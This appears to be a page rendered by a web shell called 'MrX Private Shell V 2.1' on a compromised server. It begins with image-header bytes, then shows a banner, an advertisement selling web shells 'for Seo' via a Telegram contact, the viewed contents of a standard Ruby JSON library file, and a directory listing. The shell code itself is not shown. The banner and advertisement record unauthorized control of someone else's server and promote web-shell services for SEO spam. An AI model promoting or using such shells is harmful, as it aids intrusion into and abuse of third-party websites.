����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# frozen_string_literal: true
unless defined?(::JSON::JSON_LOADED) and ::JSON::JSON_LOADED
require 'json'
end
class String
# call-seq: json_create(o)
#
# Raw Strings are JSON Objects (the raw bytes are stored in an array for the
# key "raw"). The Ruby String can be created by this class method.
def self.json_create(object)
object["raw"].pack("C*")
end
# call-seq: to_json_raw_object()
#
# This method creates a raw object hash, that can be nested into
# other data structures and will be generated as a raw string. This
# method should be used, if you want to convert raw strings to JSON
# instead of UTF-8 strings, e. g. binary data.
def to_json_raw_object
{
JSON.create_id => self.class.name,
"raw" => unpack("C*"),
}
end
# call-seq: to_json_raw(*args)
#
# This method creates a JSON text from the result of a call to
# to_json_raw_object of this String.
def to_json_raw(...)
to_json_raw_object.to_json(...)
end
end
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| bigdecimal.rb | File | 1.66 KB | 0644 |
|
| complex.rb | File | 1.3 KB | 0644 |
|
| core.rb | File | 374 B | 0644 |
|
| date.rb | File | 1.26 KB | 0644 |
|
| date_time.rb | File | 1.57 KB | 0644 |
|
| exception.rb | File | 1.2 KB | 0644 |
|
| ostruct.rb | File | 1.41 KB | 0644 |
|
| range.rb | File | 1.43 KB | 0644 |
|
| rational.rb | File | 1.13 KB | 0644 |
|
| regexp.rb | File | 1.09 KB | 0644 |
|
| set.rb | File | 1.09 KB | 0644 |
|
| string.rb | File | 993 B | 0644 |
|
| struct.rb | File | 1.39 KB | 0644 |
|
| symbol.rb | File | 1.12 KB | 0644 |
|
| time.rb | File | 1.25 KB | 0644 |
|